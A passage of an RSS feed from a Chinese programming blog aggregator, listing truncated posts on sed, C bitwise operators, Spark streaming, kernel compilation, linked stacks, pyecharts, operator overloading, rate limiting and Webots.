      <description>到目前为止， shell脚本最常见的一个用途就是处理文本文件。检查日志文件、读取配置文件、处理数据元素，shell脚本可以帮助我们将文本文件中各种数据的日常处理任务自动化。但仅靠shell脚本命令来处理文本文件的内容有点勉为其难。如果想在shell脚本中处理任何类型的数据，你得熟悉Linux中的sed和gawk工具。这两个工具能够极大简化需要进行的数据处理任务。&#xA;一.文本处理&#xA;有时候，你会发现需要自动处理文本文件，可你又不想动用全副武装的交互式文本编辑器。在这种情况下，有个能够轻松实现自动格式化、插入、修改或删除文本元素的简单命令行编辑器就方便多了。&#xA;Linux系统提供了两个常见的具备上述功能的工具。本节将会介绍Linux世界中最广泛使用的两个命令行编辑器：sed和gawk。&#xA;1.sed编辑器&#xA;sed编辑器被称作流编辑器（stream editor），和普通的交互式文本编辑器恰好相反。在交互式文本编辑器中（比如vim），你可以用键盘命令来交互式地插入、删除或替换数据中的文本。流编辑器则会在编辑器处理数据之前基于预先提供的一组规则来编辑数据流。&#xA;sed编辑器可以根据命令来处理数据流中的数据，这些命令要么从命令行中输入，要么存储在一个命令文本文件中。sed编辑器会执行下列操作。&#xA;(1) 一次从输入中读取一行数据。&#xA;(2) 根据所提供的编辑器命令匹配数据。&#xA;(3) 按照命令修改流中的数据。&#xA;(4) 将新的数据输出到STDOUT。&#xA;在流编辑器将所有命令与一行数据匹配完毕后，它会读取下一行数据并重复这个过程。在流编辑器处理完流中的所有数据行后，它就会终止。&#xA;由于命令是按顺序逐行给出的，sed编辑器只需对数据流进行一遍处理就可以完成编辑操作。&#xA;这使得sed编辑器要比交互式编辑器快得多，你可以快速完成对数据的自动修改。&#xA;sed命令的格式如下。&#xA;sed options script file&#xA;选项允许你修改sed命令的行为，可以使用的选项已在表19-1中列出。&#xA;script参数指定了应用于流数据上的单个命令。如果需要用多个命令，要么使用-e选项在命令行中指定，要么使用-f选项在单独的文件中指定。有大量的命令可用来处理数据。我们将会在本章后面介绍一些sed编辑器的基本命令，然后在第21章中会看到另外一些高级命令。&#xA;1）在命令行定义编辑器命令&#xA;默认情况下，sed编辑器会将指定的命令应用到STDIN输入流上。这样你可以直接将数据通过管道输入sed编辑器处理。这里有个简单的示例。&#xA;$ echo &#34;This is a test&#34; | sed &#39;s/test/big test/&#39; This is a big test $ 这个例子在sed编辑器中使用了s命令。s命令会用斜线间指定的第二个文本字符串来替换第一个文本字符串模式。在本例中是big test替换了test。&#xA;在运行这个例子时，结果应该立即就会显示出来。这就是使用sed编辑器的强大之处。你可以同时对数据做出多处修改，而所消耗的时间却只够一些交互式编辑器启动而已。&#xA;当然，这个简单的测试只是修改了一行数据。不过就算编辑整个文件，处理速度也相差无几。&#xA;$ cat data1.txt The quick brown fox jumps over the lazy dog. The quick brown fox jumps over the lazy dog.</description>
    </item>
    <item>
      <title>位运算符以及他们的用途</title>
      <link>https://bchobby.github.io/posts/2ced4306e093fd3bbe61a419d9e9d3f3/</link>
      <pubDate>Fri, 24 Apr 2020 12:51:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ced4306e093fd3bbe61a419d9e9d3f3/</guid>
      <description>位运算符以及他们的用途 C语言中的6个位运算符位运算的实用 一.位运算符 1.&amp;amp; ——按位与运算 &#34;&amp;amp;&#34;是双目运算符（双目运算符就是有两个操作数），&#xA;只有当二进制对应位上都是1的时候结果才为1。&#xA;aba&amp;amp;b111100010000 2.| ——按位或运算 “|”是双目运算符，&#xA;只有当二进制对应位上有一个为1，结果为1&#xA;aba或b111101011000 3.^ ——按位异或运算 “^”是双目运算符，&#xA;只有当二进制对应位上二者不同时，结果为1&#xA;aba^b110101011000 4.~ ——求反运算符 “~”为单目运算符（只有一个操作数），具有右结合性（从右向左执行计算）,&#xA;a~a0110 5.&amp;lt;&amp;lt; ——左移运算符 “&amp;lt;&amp;lt;”是双目运算符，将二进制位进行左移操作，&#xA;左移n位就是乘以2的n次方。&#xA;“&amp;lt;&amp;lt;”左边的运算数的各二进位全部左移若干位，由“&amp;lt;&amp;lt;”右边的数指定移动的位数，高位丢弃，低位补0。&#xA;6.&amp;gt;&amp;gt; ——右移运算符 “&amp;gt;&amp;gt;”是双目运算符,将二进制位进行右移操作，&#xA;右移n位就是除以2的n次方。&#xA;“&amp;gt;&amp;gt;”左边的运算数的各二进位全部右移若干位，“&amp;gt;&amp;gt;”右边的数指定移动的位数。同时注意，&amp;gt;&amp;gt;运算符是用符号位来填充高位的。&#xA;二.位运算符的实用 位运算符是针对二进制位上的运算&#xA;1.判断奇偶数 因为在二进制中只有当最后一位二进制数为1的时候才表示奇数，而相反只有当最后一位二进制数为0的时候才表示偶数，所以利用“&amp;amp;”的特点，我们可以得到：&#xA;if((x&amp;amp;1) == 1) printf(&#34;x是奇数\n&#34;); else if((x&amp;amp;1) == 0) printf(&#34;x是偶数\n&#34;); 2.交换两个整数 在C语言中，我们可以编写一个swap函数来交换两个整数：&#xA;void sswap(int *a,int *b) { int t; t = *a; *a = *b; *b = t; } 但是其实也可以使用“^”的特性来进行两个整数的交换：&#xA;void sswap(int *a,int *b) { *a = *a ^ *b; *b = *b ^ *a; *a = *a ^ *b; } 3.</description>
    </item>
    <item>
      <title>SparkSQL与Structured Streaming 综合练习题[史上最详细的代码题50道练习题]强烈推荐!!!!!!!!!!!!!!</title>
      <link>https://bchobby.github.io/posts/b4c510245846ff44d7460595dd926653/</link>
      <pubDate>Fri, 24 Apr 2020 10:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4c510245846ff44d7460595dd926653/</guid>
      <description>1.使用Structured Streaming读取Socket数据，把单词和单词的反转组成 json 格式写入到当前目录中的file文件夹中 package com.wzy.code.code01 import org.apache.spark.sql.streaming.Trigger import org.apache.spark.sql.{DataFrame, Dataset, SparkSession} object StructuredStreaming { def main(args: Array[String]): Unit = { //使用Structured Streaming读取Socket数据，把单词和单词的反转组成 json 格式写入到当前目录中的file文件夹中 val spark = SparkSession.builder().appName(&#34;Json&#34;).master(&#34;local[*]&#34;).getOrCreate() val sc = spark.sparkContext sc.setLogLevel(&#34;WARN&#34;) val liens: DataFrame = spark.readStream .option(&#34;host&#34;, &#34;node01&#34;) .option(&#34;port&#34;, 9999) .format(&#34;socket&#34;) .load() import spark.implicits._ val dataDS: Dataset[String] = liens.as[String] val reverseDF = dataDS.flatMap(_.split(&#34; &#34;)).map({ x =&amp;gt; (x, x.reverse) }).toDF(&#34;before&#34;, &#34;reverse&#34;) reverseDF.show() reverseDF.writeStream .format(&#34;json&#34;) .option(&#34;path&#34;,&#34;E:\\SparkCode\\SparkSql\\Day0417Work\\file&#34;) .option(&#34;checkpointLocation&#34;,&#34;./ck1&#34;)// 必须指定 checkpoint 目录,否则报错 .</description>
    </item>
    <item>
      <title>在前端页面对后端返回的文件进行下载</title>
      <link>https://bchobby.github.io/posts/a291f7e020f1ea07165e3f093c8f84cf/</link>
      <pubDate>Thu, 23 Apr 2020 22:02:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a291f7e020f1ea07165e3f093c8f84cf/</guid>
      <description> 1.确定后端返回的是一个文件&#xA;2.调用导出文件的接口，并携带相应的数据以及发送请求，获取相应的值&#xA;3.在发送请求的时候，如果访问接口需要携带token值的话，一定要和后端确定token的和变量名&#xA;4.如果你的接口请求方式是一个get的请求，可以直接将token以拼接字符串的形式进行传递&#xA;话不多说，看代码&#xA;这里是你要发送的请求 this.$http.get(&#39;/business-instock/instock/return/export&#39;, { params: { &#39;buyerId&#39;: this.getSupplier.buyerId, &#39;status&#39;: this.documentFrom.documentType, &#39;access_token&#39;: this.token 这里是token值 } }) .then((res) =&amp;gt; { if (res.status === 200) { 这里的地址就是你文件存放在服务器上的路径，因为是get请求，所以采用的是字符串拼接的方式，当然也要传递token的值 let excelUrl = &#39;http://23wz.top:9000/business-instock/instock/return/export?status=&#39; + this.documentFrom.documentType + &#39;&amp;amp;buyerId=&#39; + this.getSupplier.buyerId + &#39;&amp;amp;access_token=&#39; + this.token 这里是页面要跳转打开的下载页面的地址，也就是在服务器的地址 window.location.href = excelUrl } else { this.$message.error(&#39;导出失败&#39;) } }) </description>
    </item>
    <item>
      <title>Sentinel 2 哨兵2号 基本介绍</title>
      <link>https://bchobby.github.io/posts/3867452679f9222a8fe7f17ee0a9aa37/</link>
      <pubDate>Thu, 23 Apr 2020 21:32:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3867452679f9222a8fe7f17ee0a9aa37/</guid>
      <description>哨兵2号是高分辨率多光谱成像卫星，携带一枚多光谱成像仪(MSI)，用于陆地监测，可提供植被、土壤和水覆盖、内陆水路及海岸区域等图像，还可用于紧急救援服务。分为2A和2B两颗卫星。&#xA;第一颗卫星哨兵2号A于2015年6月23日01:52 UTC以“织女星”运载火箭发射升空。&#xA;6月29日，在轨运行4天的哨兵-2A卫星，传回了第一景数据，幅宽290km，卫星第一次扫描的范围是从瑞典开始，经过中欧和地中海，到阿尔及利亚结束。&#xA;第二颗卫星哨兵2号B于2017年3月07日北京时间9时49分 UTC以“织女星”运载火箭发射升空。&#xA;欧洲航天局介绍说，“哨兵-2B”卫星与2015年6月发射的“哨兵-2A”卫星为同一组，携带高分辨率多光谱成像装置，主要用于监测土地环境，可提供有关陆地植被生长、土壤覆盖状况、内河和沿海区域环境等信息，不仅对改善农林业种植、预测粮食产量、保证粮食安全具有重要意义，还可用于监测洪水、火山喷发、山体滑坡等自然灾害，为人道主义救援提供帮助。两者同时进入运行状态后，每5天可完成一次对地球赤道地区的完整成像，而对于纬度较高的欧洲地区，这一周期仅需3天。&#xA;哨兵-2号卫星携带一枚多光谱成像仪(MSI)，高度为786km，可覆盖13个光谱波段，幅宽达290千米。地面分辨率分别为10m、20m和60m、一颗卫星的重访周期为10天，两颗互补，重访周期为5天。从可见光和近红外到短波红外，具有不同的空间分辨率，在光学数据中，哨兵-2号数据是唯一一个在红边范围含有三个波段的数据，这对监测植被健康信息非常有效。&#xA;哨兵2号（sentinel-2）各个波段的意义说明：&#xA;Band1：海岸/气溶胶波段：用来监测近岸水体和大气中的气溶胶。&#xA;Band2、3、4：可见光波段&#xA;Band5、6、7：红边范围内波段对监测植被健康信息非常有效&#xA;Band8:近红外波段（宽）&#xA;Band8A:近红外波段(窄)&#xA;Band9:水蒸气波段&#xA;Band10、11、12：短波红外波段&#xA;从2015年12月3日起，哨兵2A（Sentinel2A）数据正式向全球用户提供免费下载。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「遥感小白的笔记」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。&#xA;更多请查看：https://blog.csdn.net/qq_41718357/article/details/83536322</description>
    </item>
    <item>
      <title>ubuntu 编译升级内核</title>
      <link>https://bchobby.github.io/posts/2a97bb10259860a25d4cb5d689562263/</link>
      <pubDate>Thu, 23 Apr 2020 20:52:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a97bb10259860a25d4cb5d689562263/</guid>
      <description>当前内核4.15,是由4.14莫名其妙通过软件升级程序自动升级上来的。&#xA;打算自行编译配置升级到4.16&#xA;先到镜像地址：http://mirror.bjtu.edu.cn/kernel/linux/kernel/&#xA;或者 ： http://ftp.sjtu.edu.cn/sites/ftp.kernel.org/pub/linux/kernel/&#xA;下载4.16.9版本源码&#xA;编译前使用make mrproper命令清理掉编译痕迹，该指令与make clean有区别，可以理解为更彻底。&#xA;图形化配置xconfig的依赖需要 flex bison qttools5-dev 。&#xA;make xconfig到此可以使用。&#xA;然后按百度文档描述使用make dep&#xA;root@lc-NUC8i5BEH:/usr/src/linux-4.16.9# make dep&#xA;Makefile:976: &#34;Cannot use CONFIG_STACK_VALIDATION=y, please install libelf-dev, libelf-devel or elfutils-libelf-devel&#34;&#xA;make: *** No rule to make target &#39;dep&#39;。 停止。&#xA;这个还是缺依赖，按提示安装libelf-dev等。&#xA;以上所有内容均为百度过的手段，全都没用，全都不对，全是扯淡。&#xA;除了这个镜像地址是不错的&#xA;镜像地址：http://mirror.bjtu.edu.cn/kernel/linux/kernel/&#xA;或者 ： http://ftp.sjtu.edu.cn/sites/ftp.kernel.org/pub/linux/kernel/&#xA;最最最正确的编译内核和升级内核的说明文档就在源码目录下的README文件，&#xA;请仔细阅读，你需要的不是百度，而是有道翻译。&#xA;Linux kernel release 4.x &amp;lt;http://kernel.org/&amp;gt;&#xA;=============================================&#xA;These are the release notes for Linux version 4. Read them carefully,&#xA;as they tell you what this is all about, explain how to install the</description>
    </item>
    <item>
      <title>左神用3个小时讲明白了数据结构与算法&#43;字节跳动最新面试题</title>
      <link>https://bchobby.github.io/posts/3e2e80cf2f624e04ff34e75a93fef074/</link>
      <pubDate>Thu, 23 Apr 2020 18:59:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e2e80cf2f624e04ff34e75a93fef074/</guid>
      <description>听起来高大上的“算法”，其实一点也不难学。这次介绍的是关于运行在计算机上面的算法，正如你日常所运行的算法会影响你每天的生活一样，在计算机上运行算也会影响你的算法。我们可以利用计算机搜索信息的简单方式解决各种排序问题的方法，利用有向无环图和最短路径方法解决基本问题。&#xA;第1章 什么是算法以及为什么应该关注算法&#xA;第2章 如何描述和评估计算机算法&#xA;第3章 排序算法和查找算法&#xA;第4章 排序算法的下界和如何超越下界&#xA;第5章 有向无环图&#xA;第6章 最短路径&#xA;第7章 字符串算法&#xA;第8章 密码学基础&#xA;第9章 数据压缩&#xA;第10章 难?问题&#xA;左程云老师用3个小时讲明白了字节跳动的两道最新面试题：&#xA;1、已知一个搜索二叉树后序遍历的数组posArr, 请根据posArr，重建出整棵树 返回新建树的头节点 2、给定长度为m的字符串aim，以及一个长度为n的字符串str 问能否在str中找到一个长度为m的连续子串， 使得这个子串刚好由aim的m个字符组成，顺序无所谓, 返回任意满足条件的一个子串的起始位置，未找到返回-1</description>
    </item>
    <item>
      <title>栈的操作（入栈、出栈）之二：链栈</title>
      <link>https://bchobby.github.io/posts/ddb2e395556a10af2fa096a235c4822e/</link>
      <pubDate>Thu, 23 Apr 2020 18:29:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddb2e395556a10af2fa096a235c4822e/</guid>
      <description>栈操作原则 使用栈操作数据，必须遵循“先入后出”的原则；&#xA;栈操作之链栈 链栈是用链表实现栈的存储结构，链表头部作为栈顶，链表尾部为栈底（单链表）；&#xA;入栈 写入数据时，实际是对链表做“头插”操作，空链表时，头指针head指向null；新进数据插入链表头部，头指针head指向当前链表头部；以此类推，这种操作即为入栈（压栈）；&#xA;出栈 读出数据时，实际是删除当前链表的头部（首元节点），将头指针head指向新的链表头部（原首元节点的下一节点，成为当前首元节点），以此类推，这种操作即为出栈（弹栈）；&#xA;代码实现 在这段代码中，主要实现：&#xA;1.创建链表数据结构，初始化为空链表；&#xA;2.入栈操作，压入8个数据；&#xA;3.出栈操作，弹出2个数据，栈中剩余最先入栈的6个数据；&#xA;4.打印各个过程的情况；&#xA;5.在CMD中运行查看结果；&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; // 创建链表的数据结构 typedef struct list_stack { int data; struct list_stack *next; } list_stack; // 链栈入栈操作，head为当前链栈栈顶指针，val为入栈的值 list_stack *push(list_stack *head, int val) { // 创建新节点，并分配内存 list_stack *p = (list_stack *)malloc(sizeof(list_stack)); p-&amp;gt;data = val; // 建立当前节点与头指针head之前所指节点的关系（头插） p-&amp;gt;next = head; // 使头指针head指向当前新插入节点 head = p; printf(&#34;push elem %d\r\n&#34;, head-&amp;gt;data); printf(&#34;current head elem is : %d\r\n&#34;</description>
    </item>
    <item>
      <title>pyecharts学习5--图例颜色和系列颜色不一致</title>
      <link>https://bchobby.github.io/posts/c057ea3ca82859a18e6b2f6f57e1306f/</link>
      <pubDate>Thu, 23 Apr 2020 10:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c057ea3ca82859a18e6b2f6f57e1306f/</guid>
      <description>pyecharts 图例颜色设置 目前使用的pyecharts版本1.7.1，图例暂时不支持颜色指定&#xA;图例的颜色是根据你添加图例的顺序，然后再根据全局变量colors 里面的颜色的顺序一一对应的：&#xA;self.colors = ( &#34;#c23531 #2f4554 #61a0a8 #d48265 #749f83 #ca8622 #bda29a #6e7074 &#34; &#34;#546570 #c4ccd3 #f05b72 #ef5b9c #f47920 #905a3d #fab27b #2a5caa &#34; &#34;#444693 #726930 #b2d235 #6d8346 #ac6767 #1d953f #6950a1 #918597&#34; ).split() 当然，如果你添加数据的时候指定了颜色，colors 会自动在顶部帮你添加对应的颜色值 ，也就是说你最后添加的是在颜色值得最顶端的&#xA;.add_yaxis(&#34;商家A&#34;, Faker.values(), linestyle_opts=opts.LineStyleOpts(color=&#34;red&#34;),) .add_yaxis(&#34;商家B&#34;, Faker.values(), color=&#34;blue&#34;) .add_yaxis(&#34;商家C&#34;, Faker.values(), color=&#34;green&#34;) 分别设置线的颜色和系列 label 颜色的颜色&#xA;但是最后显示的时候，是不是就感觉乱套了呢？&#xA;看一下此时colors里面的情况：&#xA;是不是明白什么了呢？&#xA;添加系列线的颜色是会添加进去的，而设置linestyle_opts则不会添加， 而且添加的顺序是反过来的，最后添加的颜色是在最前面的呢！&#xA;def _append_color(self, color: Optional[str]): if color: self.colors = [color] + self.colors if self.theme == ThemeType.</description>
    </item>
    <item>
      <title>运算符重载例题</title>
      <link>https://bchobby.github.io/posts/9980010283883de75c9c087cd59f8620/</link>
      <pubDate>Thu, 23 Apr 2020 03:56:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9980010283883de75c9c087cd59f8620/</guid>
      <description>用的是vs2019编译器&#xA;这是一个有关运算符重载的例题，希望大家作以参考 定义有理数类（分母不为0的分数，分子分母均为整数）Rational，实现相应操作符的重载。&#xA;（1）定义私有数据成员：分子int iUp ; 分母int iDown。&#xA;（2）定义私有成员函数：void Reduce() 和 int Gcd(int l, int r)，分别用于有理数的约简和求两个整数的最大公约数。其中，在约简时需要求取分子与分母的最大公约数。&#xA;（3）定义构造函数，在构造函数体内可调用Reduce对有理数进行约简。&#xA;（4）将负号-和赋值运算符=重载为公有成员函数，分别用于求有理数的负数和赋值。&#xA;（5）将前置++、前置–、后置++、后置–重载为公有成员函数，实现有理数自增1或自减1。&#xA;（6）将+、-、*、/重载为友员函数，实现有理数的加减乘除。&#xA;（7）将&amp;lt;、&amp;lt;=、&amp;gt;、&amp;gt;=重载为友员函数，实现有理数的大小关系比较。&#xA;（8）重载流插入符&amp;lt;&amp;lt;和流提取符&amp;gt;&amp;gt;，分别用于有理数的输出和输入。其中，输出格式为“分子/分母”，若为整数，则直接输出整数。&#xA;在main函数中，根据输入的分子和分母定义两个有理数对象a和b。再定义几个有理数对象分别用于表示a和b的加、减、乘、除、前置自增a、前置自减a、后置自增a、后置自减a，并依次各个对象的结果。最后依次用&amp;lt;、&amp;lt;=、&amp;gt;、&amp;gt;=比较a和b的大小关系，并依次输出比较结果（true或false）。&#xA;输入 两个有理数a和b的的分子和分母 输出 有理数a和b的加、减、乘、除以及前置自增a、前置自减a、后置自增a、后置自减a有理数a和b的&amp;lt;、&amp;lt;=、&amp;gt;、&amp;gt;=的结果 样例输入 4 3&#xA;3 2&#xA;样例输出 a+b: 17/6&#xA;a-b: -1/6&#xA;a*b: 2&#xA;a/b: 8/9&#xA;-a: -4/3&#xA;++a: 7/3&#xA;–a: 4/3&#xA;a++: 4/3&#xA;a–: 7/3&#xA;a&amp;lt;b: true&#xA;a&amp;lt;=b: true&#xA;a&amp;gt;b: false&#xA;a&amp;gt;=b: false&#xA;下面展示此题代码&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; class Rational{ friend Rational operator+(Rational&amp;amp; p1, Rational&amp;amp; p2); friend Rational operator-(Rational&amp;amp; p1, Rational&amp;amp; p2); friend Rational operator*(Rational&amp;amp; p1, Rational&amp;amp; p2); friend Rational operator/(Rational&amp;amp; p1, Rational&amp;amp; p2); friend bool operator&amp;lt;(Rational&amp;amp; p1, Rational&amp;amp; p2); friend bool operator&amp;lt;=(Rational&amp;amp; p1, Rational&amp;amp; p2); friend bool operator&amp;gt;(Rational&amp;amp; p1, Rational&amp;amp; p2); friend bool operator&amp;gt;=(Rational&amp;amp; p1, Rational&amp;amp; p2); friend ostream&amp;amp; operator &amp;lt;&amp;lt;(ostream&amp;amp; cout, Rational&amp;amp; p); friend istream&amp;amp; operator &amp;gt;&amp;gt;(istream&amp;amp; cin, Rational&amp;amp; p); private: int iUp; int iDown; //有理数约简 void Reduce() { int t = abs(Gcd(iUp, iDown)); iUp = iUp / t; iDown = iDown / t; if (iDown &amp;lt; 0){ iDown = -iDown; iUp = -iUp; } } int Gcd(int l, int r) { int temp = l % r; while (temp !</description>
    </item>
    <item>
      <title>【高并发】亿级流量下常见的限流方案，看这一篇就够了！！</title>
      <link>https://bchobby.github.io/posts/de8541508ee0fd76684a6ae5c523a268/</link>
      <pubDate>Wed, 22 Apr 2020 21:19:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de8541508ee0fd76684a6ae5c523a268/</guid>
      <description>写在前面 本文转自涛哥的《亿级流量网站架构核心技术》，啥也不说了，向开涛大神致敬！&#xA;在开发高并发系统时有三把利器用来保护系统：缓存、降级和限流。缓存的目的是提升系统访问速度和增大系统能处理的容量，可谓是抗高并发流量的银弹；而降级是当服务出问题或者影响到核心流程的性能则需要暂时屏蔽掉，待高峰或者问题解决后再打开；而有些场景并不能用缓存和降级来解决，比如稀缺资源（秒杀、抢购）、写服务（如评论、下单）、频繁的复杂查询（评论的最后几页），因此需有一种手段来限制这些场景的并发/请求量，即限流。&#xA;限流的目的是通过对并发访问/请求进行限速或者一个时间窗口内的的请求进行限速来保护系统，一旦达到限制速率则可以拒绝服务（定向到错误页或告知资源没有了）、排队或等待（比如秒杀、评论、下单）、降级（返回兜底数据或默认数据，如商品详情页库存默认有货）。&#xA;一般开发高并发系统常见的限流有：限制总并发数（比如数据库连接池、线程池）、限制瞬时并发数（如nginx的limit_conn模块，用来限制瞬时并发连接数）、限制时间窗口内的平均速率（如Guava的RateLimiter、nginx的limit_req模块，限制每秒的平均速率）；其他还有如限制远程接口调用速率、限制MQ的消费速率。另外还可以根据网络连接数、网络流量、CPU或内存负载等来限流。&#xA;先有缓存这个银弹，后有限流来应对618、双十一高并发流量，在处理高并发问题上可以说是如虎添翼，不用担心瞬间流量导致系统挂掉或雪崩，最终做到有损服务而不是不服务；限流需要评估好，不可乱用，否则会正常流量出现一些奇怪的问题而导致用户抱怨。&#xA;在实际应用时也不要太纠结算法问题，因为一些限流算法实现是一样的只是描述不一样；具体使用哪种限流技术还是要根据实际场景来选择，不要一味去找最佳模式，白猫黑猫能解决问题的就是好猫。&#xA;因在实际工作中遇到过许多人来问如何进行限流，因此本文会详细介绍各种限流手段。那么接下来我们从限流算法、应用级限流、分布式限流、接入层限流来详细学习下限流技术手段。&#xA;限流算法 常见的限流算法有：令牌桶、漏桶。计数器也可以进行粗暴限流实现&#xA;令牌桶算法 令牌桶算法是一个存放固定容量令牌的桶，按照固定速率往桶里添加令牌。令牌桶算法的描述如下：&#xA;假设限制2r/s，则按照500毫秒的固定速率往桶中添加令牌；桶中最多存放b个令牌，当桶满时，新添加的令牌被丢弃或拒绝；当一个n个字节大小的数据包到达，将从桶中删除n个令牌，接着数据包被发送到网络上；如果桶中的令牌不足n个，则不会删除令牌，且该数据包将被限流（要么丢弃，要么缓冲区等待）。 漏桶算法 漏桶作为计量工具（The Leaky Bucket Algorithm as a Meter）时，可以用于流量整形（Traffic Shaping）和流量控制（TrafficPolicing），漏桶算法的描述如下：&#xA;一个固定容量的漏桶，按照常量固定速率流出水滴；如果桶是空的，则不需流出水滴；可以以任意速率流入水滴到漏桶；如果流入水滴超出了桶的容量，则流入的水滴溢出了（被丢弃），而漏桶容量是不变的。 令牌桶和漏桶对比 令牌桶是按照固定速率往桶中添加令牌，请求是否被处理需要看桶中令牌是否足够，当令牌数减为零时则拒绝新的请求；漏桶则是按照常量固定速率流出请求，流入请求速率任意，当流入的请求数累积到漏桶容量时，则新流入的请求被拒绝；令牌桶限制的是平均流入速率（允许突发请求，只要有令牌就可以处理，支持一次拿3个令牌，4个令牌），并允许一定程度突发流量；漏桶限制的是常量流出速率（即流出速率是一个固定常量值，比如都是1的速率流出，而不能一次是1，下次又是2），从而平滑突发流入速率；令牌桶允许一定程度的突发，而漏桶主要目的是平滑流入速率；两个算法实现可以一样，但是方向是相反的，对于相同的参数得到的限流效果是一样的。 另外有时候我们还使用计数器来进行限流，主要用来限制总并发数，比如数据库连接池、线程池、秒杀的并发数；只要全局总请求数或者一定时间段的总请求数设定的阀值则进行限流，是简单粗暴的总数量限流，而不是平均速率限流。&#xA;到此基本的算法就介绍完了，接下来我们首先看看应用级限流。&#xA;单机限流 // 令牌桶算法实现 tryAcquire @Slf4j public class RateLimiterExample1 { private static RateLimiter rateLimiter = RateLimiter.create(5); public static void main(String[] args) throws Exception { for (int index = 0; index &amp;lt; 100; index++) { if (rateLimiter.tryAcquire(190, TimeUnit.MILLISECONDS)) { handle(index); } } } private static void handle(int i) { log.</description>
    </item>
    <item>
      <title>Linux系列: ls查看文件大小( M为单位)</title>
      <link>https://bchobby.github.io/posts/cc628873485c9d66a02b704ef15a395b/</link>
      <pubDate>Wed, 22 Apr 2020 11:41:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc628873485c9d66a02b704ef15a395b/</guid>
      <description>ll -lh&#xA;Linux系列：查看子目录文件夹大小&#xA;指定单位 ls -l --block-size=g&#xA;ls -l --block-size=m&#xA;ls -l --block-size=k 扩展 man ls</description>
    </item>
    <item>
      <title>Webots学习笔记（一）---初识软件&#43;建立简单模型</title>
      <link>https://bchobby.github.io/posts/dae41a537ca7a546fd38b37c9679ab7a/</link>
      <pubDate>Tue, 21 Apr 2020 20:36:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae41a537ca7a546fd38b37c9679ab7a/</guid>
      <description>（一）Webots简介 Webots是Cyberbotics公司出品的便携式机器人仿真平台，可运行在windows，Mac和Linux上，内建3D编辑器,可构建3D机器人模型。应用C++或JAVA或者MATLAB编辑机器人程序可模拟机器人的动作。也就是说，它支持多种编程语言，包括C, C++, JAVA, Python, Matlab等。这个软件封装并提供了各种API函数，然而这么好的软件他的学习资料大多都是英文的，所以在一开始学习起来有很多困难,软件官网发布了pdf格式和html格式的资料，如果在网页直接看的话，可以用一些翻译软件查询看不懂的地方或直接网页翻译，这里我贴出软件下载方式，第一个链接是官网下载，可能会下载不下来，所以又分享了网盘，和pdf格式的参考手册（英文版）。点击进入：官方网址网盘下载：Webots2019b（ 提取码：53xj ） 参考手册 ( 提取码：ghe4 ) （二）软件界面 软件是支持简体中文的，打开软件后，点击工具栏Tools–&amp;gt;Preferences(首选项)–&amp;gt;Language选择简体中文，然后选择yes重启软件生效。进入软件后，可以看到软件大致分为如下及部分：&#xA;1.场景树&#xA;2.仿真界面&#xA;3.调试窗口&#xA;4.菜单栏&#xA;5.代码区 （三）新建项目 界面 我们可以点击向导–&amp;gt;新建项目目录–&amp;gt;选择合适路径–&amp;gt;文件命名–&amp;gt;命名下面选项可以默认，新建后，我们可以在场景树中看到如下&#xA;Worldinfo：主要是一些物理参数设定，包括重力等Viewpoint：里面记录了在仿真试图中观察的角度和位置后面两个都与背景有关 创建模型 首先，创建大地：&#xA;右击–&amp;gt;新增–&amp;gt;PROTO nodes–&amp;gt;objects–&amp;gt;floors–&amp;gt;选择地面创建球体&#xA;1.右击–&amp;gt;新增–&amp;gt;Base nodes --&amp;gt;Soild（添加固体节点）&#xA;2.在Soild节点下展开，点击children，新建一个shape节点，点击节点，在下面DEF中输入“sphere”&#xA;3.展开Shape,在geometry中增加sphere节点这个时候，我们可以在场景中看到一个白色的球，但是他嵌入在大地中，此时，我们可以在Soild下，修改translation值，改变小球位置这个时候小球就出现在了场景中，我们可以通过Shape节点下appearance节点，改变模型的纹理等，我们双击，增加Appearance节点 双击texture ImageTexture节点，添加纹理图片，我们可以得到 增加物理属性 在Soild节点下，双击physics节点，增加physics节点，点击增加节点后，发现小球不见了，原来是因为仿真是启动状态，增加物理属性后，小球有了密度，质量等属性，所以在重力作用下向下坠落，此时，我们点击菜单栏的停止仿真，然后在translation中将坐标重置即可。展开physics节点，下方我们主要看前两个参数，第一个density是密度，第二个mass是质量，两个我们只需要设置一个，另一个设置成-1，即可，系统会根据其中一个的设定值计算出相应的值，比如我们这里默认，就是密度1000，质量-1。在设置完成后，点击仿真，依旧会掉落到大地下方，因为还需要设置碰撞属性。 增加碰撞属性 在boundingObject节点下，双击，增加一个sphere节点，将其设置为和小球一样的大小即可。&#xA;（四）仿真效果 点击仿真，可以看到小球在重力作用下，掉落到地面上&#xA;另外，还有一些在运行仿真时移动物体的方法：&#xA;ALT+鼠标左键：给物体一个力&#xA;ALT+鼠标右键：给物体一个力矩</description>
    </item>
    <item>
      <title>记一次druid连接池配置问题引发服务假死的定位、分析、解决过程</title>
      <link>https://bchobby.github.io/posts/3bd376834fbd44f2adb6f7dbeed2a926/</link>
      <pubDate>Tue, 21 Apr 2020 16:20:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bd376834fbd44f2adb6f7dbeed2a926/</guid>
